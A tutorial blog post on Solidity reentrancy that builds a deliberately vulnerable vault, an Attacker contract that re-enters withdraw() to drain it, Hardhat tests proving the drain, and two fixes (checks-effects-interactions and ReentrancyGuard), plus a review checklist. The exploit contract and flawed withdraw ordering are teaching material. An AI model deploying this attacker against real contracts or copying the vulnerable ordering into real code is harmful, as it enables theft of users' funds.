Reentrancy is one of the first vulnerabilities you meet in smart contract security, and it is a good one to learn properly, because it teaches a way of thinking: whenever your contract hands control to someone else, assume they will use it.
In this post I'll build a tiny vault with the classic bug, write an attacker contract, prove the attack with a test that drains the vault, and then fix it two ways. Everything ran on Hardhat 3's simulated network, so you can reproduce it without spending anything.
What reentrancy actually is
When a contract sends Ether to another contract, or calls it in any other way, the callee gets to run code. If that code calls back into the original contract before the original function has finished, we have a reentrant call. The danger is not the callback itself. It is that the first function may be half-finished: it has done some of its work, but not yet updated its own records. The second call sees stale state.
The Solidity documentation describes it directly. A contract that sends Ether to an address which is a contract gives that contract the opportunity to call back before the first interaction ends, so state changes must be completed before external calls are made.
The vulnerable vault
This vault lets people deposit Ether and withdraw their balance. Read withdraw carefully:
Reentrancy.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
/// @notice VULNERABLE on purpose: sends ETH before updating the balance.
contract VulnerableVault {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "nothing to withdraw");
(bool ok, ) = msg.sender.call{value: amount}(""); // interaction first...
require(ok, "send failed");
balances[msg.sender] = 0; // ...effect last: too late
}
}
/// @notice Fixed: checks-effects-interactions, plus a reentrancy guard as a second layer.
contract SafeVault is ReentrancyGuard {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external nonReentrant {
uint256 amount = balances[msg.sender];
require(amount > 0, "nothing to withdraw");
balances[msg.sender] = 0; // effect first
(bool ok, ) = msg.sender.call{value: amount}(""); // interaction last
require(ok, "send failed");
}
}
interface IVault {
function deposit() external payable;
function withdraw() external;
}
/// @notice Attacker: deposits a little, then re-enters withdraw() from its receive hook.
contract Attacker {
IVault public immutable vault;
address public immutable owner;
constructor(IVault vault_) {
vault = vault_;
owner = msg.sender;
}
function attack() external payable {
vault.deposit{value: msg.value}();
vault.withdraw();
}
receive() external payable {
// Keep withdrawing while the vault still has at least our stake left.
if (address(vault).balance >= msg.value) {
vault.withdraw();
}
}
function sweep() external {
(bool ok, ) = owner.call{value: address(this).balance}("");
require(ok);
}
}
VulnerableVault.withdraw reads the caller's balance, sends that amount with a low-level call, and afterwards sets the balance to zero. The order is the whole bug. During the call, the vault still believes the caller has their full balance.
The Attacker contract exploits it. Its attack function deposits a small stake and immediately withdraws. When the vault sends the Ether, the attacker's receive function runs automatically, and it calls withdraw again. The vault checks the balance, which is still the full stake, and sends again. This repeats while the vault still holds enough Ether.
The failing test (the exploit)
The setup puts 5 ETH from each of two honest users into the vault, so the vault holds 10 ETH. The attacker then stakes 1 ETH:
Reentrancy.ts
import { expect } from "chai";
import { network } from "hardhat";
const { ethers } = await network.create();
async function setup(vaultName: "VulnerableVault" | "SafeVault") {
const [honest1, honest2, attackerEoa] = await ethers.getSigners();
const vault = await ethers.deployContract(vaultName);
await vault.connect(honest1).deposit({ value: ethers.parseEther("5") });
await vault.connect(honest2).deposit({ value: ethers.parseEther("5") });
const attacker = await ethers.deployContract("Attacker", [await vault.getAddress()], attackerEoa);
return { vault, attacker, attackerEoa };
}
describe("reentrancy", function () {
it("drains the vulnerable vault with a 1 ETH stake", async function () {
const { vault, attacker } = await setup("VulnerableVault");
await attacker.attack({ value: ethers.parseEther("1") });
expect(await ethers.provider.getBalance(await vault.getAddress())).to.equal(0n);
expect(await ethers.provider.getBalance(await attacker.getAddress())).to.equal(ethers.parseEther("11"));
});
it("the fixed vault stops the same attack", async function () {
const { vault, attacker } = await setup("SafeVault");
await expect(attacker.attack({ value: ethers.parseEther("1") })).to.revert(ethers);
expect(await ethers.provider.getBalance(await vault.getAddress())).to.equal(ethers.parseEther("10"));
});
it("honest users can still withdraw from the fixed vault", async function () {
const { vault } = await setup("SafeVault");
const [honest1] = await ethers.getSigners();
await vault.connect(honest1).withdraw();
expect(await vault.balances(honest1.address)).to.equal(0n);
});
});
The first test passes on the vulnerable vault. After a single attack call with a 1 ETH stake, the vault's balance is zero and the attacker contract holds 11 ETH: its own 1 ETH plus all 10 ETH from the honest users. Nobody had to guess a password or break any cryptography. The vault simply did what its code said, in the wrong order.
I like writing the exploit as a test before the fix. It turns "I think this is vulnerable" into an observable fact, and it guarantees that the fix is a real fix, not a change that happens not to matter.
Fix 1: checks, effects, interactions
The first and most important defence is ordering. Do your work in three phases:
- Checks. Validate the request: is there anything to withdraw?
- Effects. Update your own state: set the balance to zero.
- Interactions. Only now talk to the outside: send the Ether.
In SafeVault the line balances[msg.sender] = 0 comes before the call. A reentrant call now reads a balance of zero and fails the require. The Solidity documentation recommends exactly this pattern.
Fix 2: a reentrancy guard as a second layer
SafeVault also inherits OpenZeppelin's ReentrancyGuard and marks withdraw as nonReentrant. The modifier sets a flag when the function starts and reverts if the function is entered again before it finishes. In my second test, the same attacker calls attack against the safe vault. The call reverts, and the vault still holds all 10 ETH. The third test checks that I didn't break normal use: an honest user can still withdraw and their balance goes to zero.
Why have both? Ordering is the primary defence and costs nothing. The guard is a safety net for the day someone edits the function and moves a line. It does cost some gas. The documentation also warns that, because there is a single guard, functions marked nonReentrant cannot call each other. The suggested workaround is to make the logic private and expose guarded external entry points.
Variations that catch people
- Cross-function reentrancy. The attacker re-enters a different function that shares the same state. Guarding only
withdrawdoesn't help iftransferreads the same stale balance. - Cross-contract reentrancy. Two of your contracts trust each other's state. One is mid-update when the other is called.
- Read-only reentrancy. A view function reads inconsistent state during a callback, and another protocol relying on that view gets bad data.
- Token hooks. Some token standards call the recipient on transfer. A plain-looking
transfercan run attacker code.
The pattern behind all four is the same: any external call, to any address, is a point where control leaves your contract. Treat it as such.
What does not work
transferand its 2300 gas stipend. It was once recommended as a defence because the receiver couldn't do much with so little gas. That reasoning has not aged well, but the Solidity documentation itself says the stipend might change with future hard forks, and that Ether transfer can always include code execution. Don't build your security on a gas number. Use ordering and a guard.- Hoping the caller is a normal account. You can't assume it isn't a contract.
- Only testing the happy path. A suite without an attacker contract would have passed the vulnerable vault.
How I'd test for it in a real project
For every contract that holds value, I'd keep an Attacker-style helper in the test folder, a contract whose receive and token hooks try to call back into each public function. Run it against every function that sends Ether or tokens, not just the obvious withdraw. If the helper can't change any balances, you've covered the simple cases. It won't prove the absence of bugs, but it turns a vague worry into a repeatable check, and it keeps working as the code changes.
A short review checklist
- List every external call: Ether sends, token transfers, calls to other contracts.
- For each, ask what state has not yet been updated at that point.
- Move the state change before the call, or justify why it's safe.
- Add
nonReentrantto functions that move value, as a second layer. - Write an attacker contract and a test. It should fail before the fix and pass after.
- Think about shared state across functions and contracts, not just one function.
If you are using AI tools to write Solidity, this is the sort of thing to look for in review; the post on reviewing AI-generated Solidity has two more examples with tests.
Need a smart contract reviewed or built?
I write Solidity and Hardhat projects with exploit tests for the failure paths. If you'd like help preparing a contract for an audit, get in touch.
See services Get in touchWhat I ran this against
- Hardhat 3.22.0 (Mocha + ethers template), @openzeppelin/contracts 5.6.1, ethers 6.17.0, solc 0.8.34, Node.js 24.22.1, run on 17 November 2026 on Hardhat's in-process simulated network. Three tests pass for this example: the attack drains the vulnerable vault, the same attack reverts on the fixed vault, and honest users can still withdraw from it.
- Nothing was deployed to a testnet or mainnet, and the contracts are teaching examples that have not been audited. Reentrancy is only one class of bug; a contract that passes these tests can still be unsafe.
Sources checked
- Solidity documentation, Security Considerations, Reentrancy section: docs.soliditylang.org.
- OpenZeppelin Contracts 5.x,
ReentrancyGuard(thenonReentrantmodifier, and the note that functions markednonReentrantcannot call each other): docs.openzeppelin.com.